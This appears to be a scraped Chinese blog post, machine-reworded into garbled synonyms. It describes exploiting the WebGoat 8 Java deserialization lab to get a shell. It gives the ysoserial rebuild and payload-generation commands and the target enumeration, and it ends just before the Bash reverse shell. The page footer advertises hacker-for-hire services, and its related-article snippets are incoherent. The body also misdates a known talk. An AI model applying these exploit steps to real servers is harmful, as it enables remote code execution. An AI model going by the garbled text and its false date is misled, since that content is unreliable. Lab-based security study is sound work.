一次受限环境中的Java反序列化缝隙发掘到Get Shell

访客5年前黑客工具859

在本文中,咱们将向你展现一个运用不安全的反序列化缝隙的进程,咱们将以WebGoat 8反序列化应战(布置在Docker上)为例。只需履行sleep5秒即可处理应战。可是,咱们将会进一步寻求趣味并测验get shell。
介绍
Java的反序列化问题在安全范畴现已被安全人员所熟知很多年了。2019年,两名安全研讨人员Chris Frohoff和Gabriel Lawrence在AppSecCali上宣布了名为Marshalling Pickles 的讲演。此外,他们还发布了一个名为ysoserial的有效载荷生成器的东西。
方针序列化首要是为了开发人员可以将内存中的方针转换为二进制和文本数据格局进行存储或传输。可是,从不受信赖的数据反序列化方针可能会导致攻击者完成长途代码履行。
缝隙发现
正如WebGoat的应战中所说到的,易受攻击的页面会从用户输入中获取Base64格局的序列化Java方针,并盲意图进行反序列化。咱们将经过供给一个序列化方针来运用此缝隙,该方针触发面向特点的编程链(POP链)并在反序列化期间完成长途指令履行。

WebGoat 8中的不安全的反序列化应战
经过发动Burp并装置Java-Deserialization-Scanner插件。该插件有2个功用:之一个功用是缝隙扫描,另一个功用是根据ysoserial东西生成Exp。

Burp Suite的Java反序列化扫描程序插件
扫描长途端点后,Burp插件陈述成果如下:
Hibernate 5 (Sleep): Potentially VULNERABLE!!!
看起来很棒!
缝隙运用
让咱们转到下一步并点击Exploiting选项卡来完成恣意指令履行。

嗯?这似乎是ysoserial的一个Bug。让咱们深化研讨一下这个bug并转移到控制台,看看究竟是什么问题。

有效载荷生成过错
经过调查ysoserial,咱们看到有两种不同的可用于Hibernate的POP链。经过运用这些有效载荷,咱们发现它们都没有在方针体系上履行。

ysoserial中显现的可用的有效载荷
那么插件是怎么生成有效载荷并触发sleep指令的呢?
咱们决议在以下链接中检查插件的源代码:
· federicodotta / Java-Deserialization-Scanner
· 针对Burp Suite的一体化插件,用于检测和运用Java反序列化缝隙…
咱们注意到有效载荷在插件的源代码中是硬编码的,因而咱们需求找到一种 *** 来生成相同的有效载荷来使其可以触发缝隙运用。

有效载荷是硬编码的
在经过一些研讨和协助后,咱们发现咱们需求修正当时版别的ysoserial才能使咱们的有效载荷起作用。
咱们下载了ysoserial的源代码并决议运用Hibernate 5从头编译它。为了运用Hibernate 5成功构建ysoserial,咱们需求将javax.el包添加到pom.xml文件中。
咱们还向原始项目发送了一个Pull恳求,意图是在hibernate5挑选配置文件时修正构建的一个问题。

更新了pom.xml
咱们可以运用以下指令持续重建ysoserial :
mvn clean package -DskipTests -Dhibernate5
然后咱们就可以生成有效载荷了:
java -Dhibernate5 -jar target / ysoserial-0.0.6-SNAPSHOT-all.jar Hibernate1“touch / tmp / test”| base64 -w0

收效了的Hibernate 5的有效载荷
咱们可以经过下面的指令拜访Docker容器来验证咱们的指令是否履行了:
docker exec -it  /bin/bash
咱们可以看到咱们的有效载荷在机器上的确履行成功了!

缝隙运用成功!
咱们持续罗列方针机器上的二进制文件。
webgoat@1d142ccc69ec:/$ which php
webgoat@1d142ccc69ec:/$ which python
webgoat@1d142ccc69ec:/$ which python3
webgoat@1d142ccc69ec:/$ which wget
webgoat@1d142ccc69ec:/$ which curl
webgoat@1d142ccc69ec:/$ which nc
webgoat@1d142ccc69ec:/$ which perl
/usr/bin/perl
webgoat@1d142ccc69ec:/$ which bash
/bin/bash
webgoat@1d142ccc69ec:/$
只要Perl和Bash可用。让咱们测验制造一个有效载荷,向咱们发送一个反向的shell。
咱们在Pentest Monkeys上看到一些单线的反向Shell:
· Reverse Shell Cheat Sheet
· 假如你很走运可以在浸透测验期间找到指令履行缝隙,那么很快就会…
并决议测验下面的Bash反向shell:

[1] [2]  黑客接单网

相关文章

寻找一部日漫关于黑客破案的

表面上看是执行成功了,但是却并没有在/tmp目录下发现2323232文件,经过随后的研究发现,systemd重定向了apache的tmp目录,执行下$find /tmp -name “2323232”...

黑基论坛,黑客帮忙找手机,黑客怎么远程找ip地址

[1][2][3][4][5][6][7][8][9][10]黑客接单渠道0×01前语:后台:manage/main.asp日前,国内最大的互联网安全公司360(NYSE:QIHU)发布了《2014年...

怎么找黑客接单_雇佣黑客在哪找

在一个典型的应用程序中,一切的作业都由主线程来处理。 我之前现已谈过了这个,主线程就像一个全栈开发者。 它担任JavaScript,DOM和布局。 无下面依据病毒传达影响规划、损害巨细列出最常用的几种...

压缩文件包,风吹过PP好冷黑客联系,沈阳花钱找黑客

经过一段时刻的调查,咱们发现SPI指令较为简略,为了便利调查许多指令的序列,咱们依照datasheet中的界说写了一个解析脚本,在脚本的协助下总算收拾清楚了跳频的流程。 is_writeable()函...

求一本言情小说,女主是演员,患有双重人格。第二

SUCCESS: 20Oracle WebLogic Server10.3.6.0.0求一本言情小说,女主是演员,患有双重人格。第二, 继续观察Demo1.js Lowerer阶段的Dump,LdRo...

id苹果,求大连黑客联系方式,外网黑客怎么找

CredCrack诞生了上述查询用于确认当时数据库中榜首个表格的榜首个字符。 假如咱们想要找到这个表格的第二个字符,会进行下列的查询: 7 第四章 暗地始作俑者 24075...